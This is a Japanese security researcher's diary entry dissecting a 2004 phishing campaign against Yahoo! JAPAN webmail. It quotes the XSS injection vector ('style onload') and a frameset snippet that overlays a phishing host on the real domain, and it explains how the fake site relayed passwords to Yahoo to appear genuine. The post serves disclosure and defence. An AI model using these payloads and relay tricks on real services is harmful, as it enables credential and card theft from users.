高木浩光＠自宅の日記

2004年12月05日

■ ヤフーからの通知を装った日本語フィッシングで何が起きていたか

先月の15日、ヤフージャパンのWebメールユーザをターゲットにした、日本語フィッシング事件が起きているのが確認された。そこでは、Yahoo! Mailのクロスサイトスクリプティング脆弱性（XSS脆弱性）を突いて、偽メールと見破られにくくする手口が使われていた。さらに驚くべき仕掛けも潜んでいた。

フィッシング詐欺を防止するには、どんな事例が発生しているのかを、具体的に包み隠さず公開して、消費者や事業者に周知していくことが必要だと考える。丸山さんからもリクエストがあったので、何があったのかを以下に詳細に示すことにする。

クロスサイトスクリプティングによる偽装

図1は、あるYahoo! Mailのユーザ宛に送られてきたフィッシングメールである。実物を受信した方から転送して頂いたものを、自分で自分のYahoo! Mail アカウントに送信したもので、Subject:が「TEST」になっているのは、転送のときに付け替えたものだ。オリジナルのSubject:とFrom:は以下のようになっていた。

From: "Yahoo! JAPAN " <wallet-help@yahoo.co.jp>
Subject: Yahoo! JAPAN - 有料コンテンツご利用停止に関するお知らせ

図1: ヤフーのWebメールに送られていたフィッシングメールのコピー

ここで、矢印部分にあるリンク「Yahoo!ウォレット登録情報の確認・変更」をクリックしたところ、図2の画面が現れた。

図2: クリックすると現れた偽のログイン画面

さて、これは偽サイトに設置された偽のログイン画面なのだが、これが偽だと見抜けるだろうか？

まず、アドレスバーのURLのホスト名が、「jp.f25.mail.yahoo.co.jp」となっている。そして、パスワード入力欄の上には既に自分のIDが示されている。右の方には「もし takagi_hiromistu さんではない場合は」などとも書かれていて、もっともらしい。

偽だということは、画面の中央部分で右クリックしてプロパティを調べるとすぐに判明する。プロパティで確認したこの画面の中央部分のURLは、

http://yahoo-com-jp.mine.nu:1649/jp/...

というものだった。

Windows XP SP2のInternet Explorerを使用しているので、アドレスバーが偽装されているわけではないはずだ（未知の脆弱性が悪用されているのでない限り）。

なぜこのようなこと、つまり、yahoo.co.jpドメインの画面上に偽サイトの画面を表示させることができたのか。この画面全体のHTMLソースを見てみた（表示メニューから「ソース」）ところ、次のようになっていた。

<frameset row="*">
<frame src="http://yahoo-com-jp.mine.nu:1649/（略）&user=takagi_hiromitsu">
</frameset>

つまり、画面全域が1つのフレームになっていて、フレームとして偽サイトが表示されているということだ。ファイルメニューからプロパティを確認すると、「jp.f25.mail.yahoo.co.jp」となっており、アドレスバーが偽装されているわけではないことがわかる。

答えはというと、これは、メール中に書かれていたJavaScriptの実行によって実現されていたのである。

JavaScriptを実行させられるならば、そのページのHTMLを自由に差し替えることができる。たとえば、

document.write('<frameset row="*"> ...');

といった文を実行させることができれば、そのページは、フレームセットに差し替えられることになる*1。

本来ならば、HTMLメール中に書かれたJavaScriptが実行されるようなことがあってはならない。なぜなら、Webメールのほとんどは、cookieによりセッション追跡（同じ人からのアクセスであることを判別）しているため、もし、メールに書かれたJavaScriptが実行されるなら、cookieを盗み出すことができてしまうため、セッションハイジャック攻撃により、メールを盗み読まれる危険があることになる。したがって、Webメールサービスのほとんどは、 JavaScript（や VBScript）が動かないように対策をしているはずである。

その対策に漏れがあって、何らかの方法でスクリプトが動いてしまうならば、それは「クロスサイトスクリプティング脆弱性」と呼ばれる。HotmailやYahoo! Mailに、1999年ごろからたびたびセキュリティホールが発見されては修正が繰り返されてきたのは、そのほとんどがこのXSS脆弱性が原因であった。

HotmailとYahoo Mailを悩ますフィルタの欠陥, CNET Japan, 2004年3月24日

「HotmailとYahooは、あらゆる手段を用いて電子メールのなかにあるスクリプトの実行を阻止しており、両サービスでは受信メッセージに含まれるHTMLコンテンツにフィルタをかけている。我々は、スクリプトを実行させるためにフィルタを回避する方法を発見した」（Dagon）

この脆弱性は、技術的にはクロスサイトスクリプトの欠陥に分類される問題だ。（略）
HotmailとYahoo! Mailにクロスサイトスクリプティングの脆弱性 , セキュリティホールmemo, 2004年3月24日
Vulnerability Note VU#707100: Multiple web-based email services fail to filter malicious characters when the message contains cascading style sheet character escaping, セキュリティホールmemo, 2003年12月12日
MS、Hotmailの脆弱性修正, セキュリティホールmemo, 2003年10月16日

...（略）...
Yet another Hotmail security hole - injecting JavaScript using "jAvascript:", セキュリティホールmemo, 2000年1月18日
Hotmail もの 3 題, セキュリティホールmemo, 2000年1月7日
HotmailにJavaScript関連の新たなセキュリティホール, セキュリティホールmemo, 1999年9月16日

今回のヤフーをターゲットにしたフィッシングメールで使われていた、 JavaScriptを実行させる方法は、次のものだった。

<style onload="スクリプト文"></style>

スクリプト実行の防止において、「onload」に対策をするのは基本中の基本と思われるのだが、これがフィルタリングされない穴が残っていたというのは意外だった。

調べてみたところ、米 yahoo.com のWebメールにおいても同じ脆弱性が存在していた。

これはまずいと思ったので、急ぎ、15日の深夜から16日にかけて、ヤフージャパンと米Yahoo!の一般向け質問窓口に対して、この脆弱性の存在を伝えるメッセージを送った。ヤフージャパンでは16日のうちに修正され、米Yahoo!では数日後には修正されていた。

入力したパスワードが本物サイトに中継される

このフィッシング事例が巧妙だったのは、それだけではなかった。図2の画面で、わざと間違ったパスワードを入力してみたところ、図3の画面が現れた。

図3: 間違ったパスワードを入力するとエラーとなる様子

10回ほど、自分のIDに対して間違ったパスワードを入れてみたところ、 10回とも「パスワードが正しくありません」というエラーになった。そして11回目に、正しいパスワードを入れてみたところ、図4の画面に進んだ。

図4: 正しいパスワードを入れることで「ログイン」できた様子

こうした挙動を示したのは、偽サイトが、入力されたパスワードを本物サイトに中継送信して、パスワードが本物かどうかを確認する仕掛けになっていたとしか考えられない。

何気なくパスワードを間違えたりして、このような挙動を見た人は、正しいパスワードを入れたとき、本物サイトにログインしている錯覚に陥るだろう。

暗証番号（セキュリティキー）には何を入れても通過するようだったが、この後現れる画面は、図5のようになっており、すっかり本物サイトにログインしていると錯覚した人は、疑いもなく、これらの情報を入力してしまうのだろう。

図5: カード番号などの情報を入力させようとしている画面

図2〜4の画面は、本物のヤフーのサイトに実在する画面とそっくりだが、図5 のように、カードの暗証番号（ATMでのキャッシングに使用するもの）を求める画面は存在しないようだ。冷静に考えれば、そんな情報をWebに登録するのは変なのだが、ログインしていると錯覚していれば入れてしまうのだろう。

ちなみに、図4の画面をサブフレームだけ表示させたのが図6である。偽サイトのURLで動いていることがわかる。URLのパラメータ部分には、ユーザIDと、入力したパスワード*2が渡されているのが見える。

図6: サブフレームの偽サイトだけを表示させた様子

この事例は、その後以下のように報道された。

Yahoo! JAPANをかたる日本語フィッシングメールが登場、手口はさらに巧妙に, ITmedia ニュース, 2004年11月16日

日本語で書かれたフィッシングメールとしては、先週、VISAをかたるものが登場したばかりだ。これに続いて、 別のテクニックを用いた手法が登場したことになる。しかも、 Webメールのユーザーに対しHTML形式のメールを送り付けるという点で、さらに巧妙だ。

なお、Yahoo! JAPANと同様、JavaScriptを悪用され、「それらしき」Webサイトを偽造されるという脆弱性を残したWebサイトは、他にも存在すると考えられる。自衛手段としては、
一見すると本物のサイト、Yahoo! JAPANを騙るフィッシングが悪質化, INTERNET Watch, 2004年11月17日

今回のフィッシングでは、手口が悪質化している。JavaScriptを悪用し、アドレスバーには正規のYahoo! JAPANのURLを表示したままで、Webページ部分だけを偽のページに置き換えているという。
国内ユーザーを狙ったフィッシングが続出，アドレス・バーを偽装する場合も VISAやヤフーをかたる“日本語フィッシング”，サイト運用者も注意が必要, 日経IT Pro, 2004年11月18日

このフィッシングの特徴は，メールで誘導した偽サイトのアドレス・バーを “偽装”すること。JavaScriptやフレームを使って，アドレス・バーにはヤフーのURLを表示させ，ページの中身にだけ偽サイトのページ（フレーム）を表示させる。同社では詳細は明らかにしていないものの，Yahoo! Japan （Yahoo!メール）サイトの不具合を悪用しているようだ。

（略）

ヤフーによると，11月15日に上記の不具合を修正したという。このため，現在では全く同じ手口は使えなくなっている。

（略）

ユーザーばかりではなく，サイトの開発者／運用者も注意が必要だ。 フィッシングに悪用される不具合——例えば，クロスサイト・スクリプティングの脆弱性など——がないことを改めて確認したい。

マスメディアは、今回の原因が、ヤフーのXSS脆弱性にあったということを、ズバリ書いてはくれなかった*3。日経IT Proの記事も、ITmediaの記事も、わかっていながらぼかして書かれている様子が見て取れる。とくにITmediaの記事は、本当のことを書きたくてたまらないが、クロスサイトスクリプティングという言葉だけは避けて書かれているように見える。

■ Yahoo! Mailのフィッシング事例から得られる教訓

原因の究明が遅れていた可能性

11月15日に、セキュリティホールmemo メーリングリストに、このフィッシングにひっかかってしまったという報告が流れたことをきっかけとして、ある方が私に、フィッシングメールの実物を提供してくださったことから、原因がXSS脆弱性にあることがわかり、 memoメーリングリストでその事実を広く伝えると同時に、ヤフーに対して脆弱性の存在を通知した。タイミング的には、それによってヤフーが対策をとったように見える。

一方、「有料コンテンツのご利用を停止」でGoogle検索してみたところ、２ちゃんねるの「Yahoo!オークションをかたるメールにご注意」というスレッドで、同じ文面のフィッシングメールが9月29日の時点で既に出回っていたことが記録されているのが見つかった。

8 ：名無しさん（新規） ：04/09/29 22:10:43 ID:fA+H10Jx
きたきた！！
題名：Yahoo! JAPAN -- 有料コンテ ンツご利用停止に関するお 知らせ
発信先：wallet-support@yahoo-inc.co.jp←これ自体おかしい
いつもYahoo! JAPANをご利用いただきありがとうございます。

このたび、お客様がご利用のYahoo! JAPAN 有料コンテンツのご利用
を停止させていただきましたことをご連絡いたします。
現在お客様がYahoo!ウォレットでYahoo!プレミアム会員費などのお支
払いにご利用中のクレジットカードにつきまして、カード発行会社よ
り、弊社へご登録のクレジットカード情報では請求が行えないとの連
絡をいただきました。
そのため、ご利用になられていたYahoo!プレミアム会員費など、お支
払いが必要なサービスについてご利用停止処理を行わせていただきま
した次第です。
なお、お客様にはご利用になられていた有料コンテンツを、再度ぜひ
ご利用いただきたいと存じます。その際にはお手数ではございますが、
お客様のYahoo!ウォレット登録お支払い方法のご変更手続きをお願い
いたします。
お客様のYahoo!ウォレットご登録内容の変更については、以下の確認
画面右側に表示されます「お支払い情報の変更」をクリックして表示
される画面よりお手続きいただけます。

とび先アドレスはここです。
http://yah-jp.ath.cx:1666/yahoo.co.jp/step1.php

他にも、ここのブログの9月30日のエントリに、同じ文面のフィッシングメールの引用とともに、次のように書かれている。

ほんと一見Yahoo!そのまんま。でさらにすごいことに、ここで間違ったパスワードを入れても認証されない！どうもパスワードが入力された際に、偽サイトのプログラムで本物のYahoo!にログインできるかチェックしているようだ。

このことからして、9月30日の時点で既に、パスワードの本物サイトへの中継が行われていたように読める。このときからXSS脆弱性が突かれていた確証はないが、その可能性は高いのではなかろうか。

もしそうなのならば、ヤフーは、このフィッシングメールの実物を見ることによって、原因を突き止め、11月16日にとったのと同じ対策をとることで、早い段階でこの詐欺をやめさせることができたのではないだろうか。INTERNET Watchの記事によれば、「千数百件の報告がヤフーに寄せられている」といい、被害をもっと小さくできた可能性があるのではないか。

XSS脆弱性を修正せずにいると、詐欺師にナメられて、いつまでも格好の餌食にされてしまうことになる。

「フィッシングは防ぎようがない」という考えが対策を怠らせる

最近、フィッシング詐欺に注意を呼びかける事業者が増えてきているが、

お客さまの個人情報をEメールでお伺いすることはありません。

といったフレーズがテンプレート化して、考えなしにただ同じ文章を掲載するだけで満足してしまう事業者が現れてきているように思える。

フィッシングで詐称された事業者の広報担当者からすれば、「こんなの防ぎようがない」と思うのかもしれない。

しかし、Yahoo! Mailの事例のように、サイトの脆弱性が突かれたことが原因で、騙されやすい偽サイトを作られてしまう可能性があるのだから、「防ぎようがない」で思考を止めてしまってはならない。

マスメディアは、高度な手口に対して防ぎようがないかのような印象を抱かせる報道を避けるべきである。過去にも、ウイルスが自力で防げないものであるかのような報道をして、ウイルス対策ソフトの売り上げに貢献したことがあったが、まずやるべきことは脆弱性の修正であるということを、常に基本としておさえておくべきだ。

XSS脆弱性のもうひとつの脅威が実証されてしまった

2000年2月にCERT/CCからCA-2000-02 として発表されたXSS脆弱性。SecurIT-Advisory 2001-001で注意を呼びかけたときは、 cookieの漏洩によるセッションハイジャックの危険性に焦点を当てて、軽微な問題ではないことを訴えた。

その後、多くの人たちによって、この脆弱性があちこちのサイトで発見されることとなったが、cookieを使っていないサイトでは、「たいした問題ではない」とされることが多かった。そうしたとき、「偽の情報を本物ドメインの画面に表示させられる」という危険性があると訴えられていたが、「そんな罠をしかける人、本当にいるの？」とか、「そんな罠に騙される人いるの？」という反応が少なくなかった。

しかし、図らずも、「フィッシング詐欺」という名前まで付く攻撃手法が蔓延してしまい、そのときの危惧が現実のものとなってしまった。

クロスサイトスクリプティングは、フィッシング詐欺に悪用される脆弱性であり、顧客をフィッシング詐欺から守りたい事業者が自社のサイトから排除せねばならない脆弱性である。このことを広く周知するべきであろう。

今回の件があきらかになる少し前に、次の報道が出ていた。

「金融機関サイトのコンテンツを偽物にすりかえる」，新たなフィッシング手口を英企業が警告, 日経IT Pro, 2004年11月9日
上級者でも見破れない悪質なフィッシングの手口を英SurfControlが警告, INTERNET Watch, 2004年11月9日
“本物のサイト”を使う新手のフィッシング詐欺, ITmedia ニュース, 2004年11月11日

記事中には「検索スクリプトの欠陥を悪用」「検索スクリプトの脆弱性を悪用」「検索サーバの脆弱性」とあるが、これは、検索のキーワード入力欄に存在するクロスサイトスクリプティング脆弱性のことを言っているのだと思われる。

イーバンク銀行のキーワード確認機能はやっぱりフィッシング対策にならない

イーバンク銀行がフィッシング詐欺対策と銘打って導入したキーワード確認機能が、対策になっていないことは、10月11日の日記「素人がやってはいけないセキュリティの「大発明」」で書いた。

つまり、イーバンク銀行のこのシステムは、パスワードの前半分だけを入力したときに、自分だけが知っているはずのキーワードが画面に現れれば、「本物サイトだと信じてよい」という趣旨なのだが、偽サイトが、入力されたパスワードを本物サイトに中継するようになっていたら、偽サイト上にキーワードが表示されてしまうだろうというものだった。

今回の、Yahoo! Mailで起きたフィッシングの事例では、まさに、入力したパスワードを本物サイトに中継することによって、本物のログイン画面であるかのような信憑性を作り出していた。間違ったパスワードで入れず、正しいパスワードで入れたからといって、本物サイトとは限らないのである。

このような事実があるのだから、イーバンク銀行のキーワード確認機能を普段から使わせることは、騙されやすい消費者を育成することになりかねない。

ユーザへの注意文は専門家に書かせた方がよい

今回の事例の原因がはっきりするより前の段階で、ヤフーは「Yahoo! JAPAN IDとパスワードを不正に盗み取る悪質なメールに関するご注意」という文書を出していたのだが、この文書があまりにも拙すぎた。

■「有料コンテンツご利用停止に関するお知らせ」

このメールには個人情報と取得する悪質なウェブページが記載されております。

悪質なウェブページのURL：

ｈｔｔｐ：／／ｅｄｉｔ．ｐａｙｍｅｎｔ．ｙａｈｏｏ．ｃｏ．ｊｐ／ｃｏｎｆｉｇ／ｗａｌｌｅｔ＿ｃｏｎｆｉｒｍ

Yahoo! JAPAN IDとパスワードを不正に盗み取る悪質なメールに関するご注意, ヤフー

と書かれているのだが、そのURLは、本物のヤフーサイトに実在するアドレスじゃないか。

そのアドレスにジャンプするかのように装って、違うところへアクセスさせているのに、「悪質なウェブページのURL」としてそれを書いてどうするのだ？

図7: ヤフーの頓珍漢な注意文

ようするに、過去の別の注意文の

Yahoo! JAPANのページを騙り、お客様のYahoo! JAPAN IDとパスワードを不正に盗み取る悪質なウェブページが報告されました。

該当の悪質なウェブページのURLは次のとおりです。

Yahoo! JAPANとは無関係の悪質なウェブページ

ｈｔｔｐ：／／ｆｒｅｅ．ｆｒｓｓ１．ｎｅｔ／‾ａｕｃｔｉｏｎ／ｙａｈｏｏ／

Yahoo! JAPANを騙るページにご注意ください, ヤフー

をテンプレートにして、URLのところだけ書き換えたわけだ。

惰性で仕事をしているか、そうでなければ、本当に何もわからない素人さんが書いたとしか思えない。

また、ヤフーは、これまでにフィッシングに対する注意文を多数掲載してきているが、いずれにも日付が書かれていないので、今起きている話なのか、既に終わった話になっているのかが判別できない。日付を書かない理由がわからないのだが、何か意味があるのだろうか。

■ 「メールで尋ねることはしていない」という一つ覚え

一方、イーバンク銀行では、別のフィッシング事例が発生していた。

「入金お知らせ」メールに注意 - イーバンク銀行を騙るフィッシング詐欺, MYCOM PCWeb, 2004年11月1日

今回のメールは、件名が「イーバンク銀行からのお知らせ[入金がありました]」となっており、テキスト形式で送信される。同銀行では、メールアドレスを登録している利用者に対し、入金時や出金時などに通知メールを送信しているが、今回のフィッシング詐欺メールは実際に入金時に送られるメールと同じ件名が使われていた。

メール内にはURLが記載されており、そこにアクセスするとログイン画面が表示され、支店番号・口座番号・ログインパスワードの入力が促され、さらに「システム上の確認」と称して暗証番号を入力させようとする。メールアドレスやメール記載のURLがイーバンク銀行のものではなかったほか、同銀行はメールからログインパスワード・暗証番号を入力させるようなことはしていないという。
イーバンク銀行の入金通知メールを偽装するフィッシング詐欺メール発生, INTERNET Watch, 2004年11月1日

イーバンク銀行では、「そもそも、利用者のログインパスワードや暗証番号をメールで尋ねることはしていない」。その上で、フィッシング詐欺メールに騙されないようにするには、「不審なメールに記載されたURLを直接クリックするのではなく、あらかじめお気に入りなどに登録したイーバンク銀行のWeb サイトからアクセスすること」などを利用者側の対策として挙げた。

しかし、イーバンク銀行から「メルマネ」で送金があると、次のようなメールが来る仕組みになっている。

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
タカギ　ヒロミツ様  (takagi@mail1.accsnet.ne.jp)  から
送金がありました。
(No.20040921XXXXXXXXXXXX-XXX)

送金内容：送金のテスト
送金日時： 2004/09/21 XX:XX:XX
※送金の受取手続きは45日以内に行ってください。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
（略）
▼▼　タカギ　ヒロミツ様からの送金の受取手続きは
　　　　　　　　　　　　　　　　　　　　 下記URLを押してください　▼▼
http://merumane.ebank.co.jp/ebk/ebs?RECV=OK&ESCROW_NUM=20040921XXXXXXXXXXXX
（以下略）

これでも、「メールからログインパスワード・暗証番号を入力させるようなことはしていない」というのだろうか。

やはり、こういうサービスを提供するのなら、通知メールにS/MIME署名するようにするしかないだろう。

*1 ユーザID「takagi_hiromitsu」が、偽サイトのCGIへのパラメータとして渡されていたのも、JavaScriptを使って、メール画面のHTMLから切り出して渡すようになっていた。もっとも、これは、フィッシングメールをあて先ごとに内容を変えて送信すれば、あて先のユーザIDをメール中に埋め込めるので、 XSS脆弱性がなかったとしても、ユーザIDが自動で現れることは起き得る。

*2 「flower」とあるのは、このとき臨時に付けたパスワード。

*3 証拠を得られなかったのかもしれない。ヤフーが認めなければ書けないということなのだろう。